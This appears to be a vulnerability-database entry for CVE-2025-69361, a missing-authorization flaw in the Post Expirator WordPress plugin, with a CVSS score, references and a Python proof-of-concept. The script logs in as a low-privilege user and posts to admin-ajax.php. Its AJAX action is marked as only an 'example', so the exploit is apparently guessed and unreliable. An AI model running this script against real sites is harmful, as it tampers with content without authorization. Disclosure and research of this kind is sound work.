CVE-2025-69361

Description

Missing Authorization vulnerability in PublishPress Post Expirator post-expirator allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Post Expirator: from n/a through <= 4.9.3.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Post Expirator <= 4.9.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-69361 PoC - PublishPress Post Expirator Authorization Bypass
import requests
import sys
from urllib.parse import urlencode

target_url = "http://target-wordpress-site.com"
username = "attacker"
password = "user_password"

session = requests.Session()

# Step 1: Login to WordPress
login_data = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'redirect_to': '/wp-admin/',
    'testcookie': '1'
}

login_resp = session.post(f"{target_url}/wp-login.php", data=login_data)

if 'wordpress_logged_in' not in str(session.cookies):
    print("[-] Login failed")
    sys.exit(1)

print("[+] Login successful")

# Step 2: Exploit Missing Authorization vulnerability
# Target the post-expirator plugin's AJAX endpoint
exploit_data = {
    'action': 'post_expirator_expose',  # Example action
    'post_id': '1',
    'expiration_date': '2025-12-31 23:59:59',
    'expiration_status': 'publish'
}

print("[*] Sending exploit request...")
exploit_resp = session.post(
    f"{target_url}/wp-admin/admin-ajax.php",
    data=exploit_data,
    headers={'X-Requested-With': 'XMLHttpRequest'}
)

if exploit_resp.status_code == 200:
    print("[+] Exploit sent - unauthorized action may have been executed")
    print(f"Response: {exploit_resp.text}")
else:
    print(f"[-] Request failed with status: {exploit_resp.status_code}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-69361
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-69361
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-69361/
[4] VulDB https://vuldb.com/cve/CVE-2025-69361
[5] https://patchstack.com/database/Wordpress/Plugin/post-expirator/vulnerability/wordpress-post-expirator-plugin-4-9-3-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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